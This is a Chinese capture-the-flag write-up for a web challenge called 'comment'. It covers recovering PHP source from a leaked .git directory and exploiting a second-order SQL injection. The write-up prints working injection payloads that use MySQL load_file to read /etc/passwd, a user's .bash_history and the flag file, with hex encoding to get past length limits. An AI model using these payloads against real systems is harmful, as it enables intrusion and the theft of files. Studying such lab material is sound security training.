攻防世界web进阶区comment详解

题目

详解

只要我们输入任何一个评论，他就会让我们进行登录，
我们可以通过他的文字提示，发现少了三位，一般我们都会上数字

我们发现他666的时候有一个302的跳转
登录以后，感觉也没有什么可以注入的
正常也没有回显，这时候，我们的御剑传来了好消息

有个.git,应该是git源码泄露。使用githack 下载源代码。

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

哦~这里提示，他的git跑路了，所以他这个源码下载的不全！
我们找到大佬的修复脚本
将commit补上
这里涉及到git修复

我们使用大佬脚本修复的时候，记得使用linux进行，win亲测不行

见这里：
https://www.cnblogs.com/Tkitn/p/11648456.html

执行这一条命令

我们执行这一条，后面的是复制上面commit的第一个内容

执行完之后的效果，
和第一副图就有了区别

我们的代码就全了

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

这里很明显u才能在二次注入，他并没有对信息做出任何处理
但是这里有一个坑

#只能注释同一行，这里需要注释/**/来进行两行的注释
这是我们最后的语句

$sql = "insert into comment
            set category = '123',content=user(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

在CATEGORY“处存入我们的恶意payload的前部分
在评论处补充后半部分

发现有一个ctf的数据库

首先常规的读文件payload:123',content=(select( load_file('/etc/passwd'))),/*

根据bash我们进行读取文件
www用户，读取他的history文件，里面存着他所有的命令
构造123’,content=(select (load_file(’/home/www/.bash_history’))),/*
得到

cd /tmp/
unzip html.zip 
rm -f html.zip 
cp -r html /var/www/ 
cd /var/www/html/ 
rm -f .DS_Store 
service apache2 start 

history命令说明原本/tmp/html/目录下有个.DS_Store文件。那么读取他
payload:123',content=(select (load_file('/tmp/html/.DS_Store'))),/*

发现读不全
我们进行编码一下
长度不够，那么hex编码一下。

payload:123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

得到

00000001427564310000100000000800000010000000040A000000000000000000000000000000000000000000000800000008000000000000000000000000000000000000000002000000000000000B000000010000100000730074007200610070496C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B000000090062006F006F007400730074007200610070496C6F63626C6F62000000100000004600000028FFFFFFFFFFFF00000000000B0063006F006D006D0065006E0074002E007000680070496C6F63626C6F6200000010000000CC0000002800000001FFFF000000000003006300730073496C6F63626C6F62000000100000015200000028FFFFFFFFFFFF0000000000190066006C00610067005F0038003900340036006500310066006600310065006500330065003400300066002E007000680070496C6F63626C6F6200000010000001D800000028FFFFFFFFFFFF0000000000050066006F006E00740073496C6F63626C6F62000000100000004600000098FFFFFFFFFFFF0000000000090069006E006400650078002E007000680070496C6F63626C6F6200000010000000CC0000009800000002FFFF000000000002006A0073496C6F63626C6F62000000100000015200000098FFFFFFFFFFFF000000000009006C006F00670069006E002E007000680070496C6F63626C6F6200000010000001D800000098FFFFFFFFFFFF000000000009006D007900730071006C002E007000680070496C6F63626C6F62000000100000004600000108FFFFFFFFFFFF00000000000600760065006E0064006F0072496C6F63626C6F6200000010000000CC00000108FFFFFFFFFFFF00000000000C00770072006900740065005F0064006F002E007000680070496C6F63626C6F62000000100000015200000108FFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000080B000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000002000000001000000400000000100000080000000010000010000000001000002000000000100000400000000000000000100001000000000010000200000000001000040000000000100008000000000010001000000000001000200000000000100040000000000010008000000000001001000000000000100200000000000010040000000000001008000000000000101000000000000010200000000000001040000000000000108000000000000011000000000000001200000000000000140000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000100B000000450000040A000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000104445344420000000100000000000000000000000000000000000000000000000200000020000000600000000000000001000000800000000100000100000000010000020000000000000000020000080000001800000000000000000100002000000000010000400000000001000080000000000100010000000000010002000000000001000400000000000100080000000000010010000000000001002000000000000100400000000000010080000000000001010000000000000102000000000000010400000000000001080000000000000110000000000000012000000000000001400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

发现了一个
flag
flag_8946e1ff1ee3e40f.php

我们读取这个文件试试
这个文件是从/tmp/html目录中copy过来的，我们回到/var/www/html中读取flag。不过发现并没有读取成功。想了一下，可能是因为文件过大。继续用hex编码，成功得到flag.

payload： 123’,content=(select hex(load_file(‘/var/www/html/flag_8946e1ff1ee3e40f.php’))),/*

得到：

3C3F7068700A0924666C61673D22666C61677B30646431346161653831643934393034623334393231313765326133643464667D223B0A3F3E0A

解码得到

这里也可以直接在/tmp/html目录读取,但是tmp有时会自动清除。

tmp目录解出来的不一样，是个坑

<?php $flag = 'flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}'; ?>

cp：

Linux cp命令主要用于复制文件或目录。
语法

cp [options] source dest

或

cp [options] source... directory

参数说明：

    -a：此选项通常在复制目录时使用，它保留链接、文件属性，并复制目录下的所有内容。其作用等于dpR参数组合。
    -d：复制时保留链接。这里所说的链接相当于Windows系统中的快捷方式。
    -f：覆盖已经存在的目标文件而不给出提示。
    -i：与-f选项相反，在覆盖目标文件之前给出提示，要求用户确认是否覆盖，回答"y"时目标文件将被覆盖。
    -p：除复制文件的内容外，还把修改时间和访问权限也复制到新文件中。
    -r：若给出的源文件是一个目录文件，此时将复制该目录下所有的子目录和文件。
    -l：不复制文件，只是生成链接文件。

.DS_Store

　　.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件，目的在于存贮目录的自定义属性，例如文件们的图标位置或者是背景色的选择。

　　相当于 Windows 下的 desktop.ini。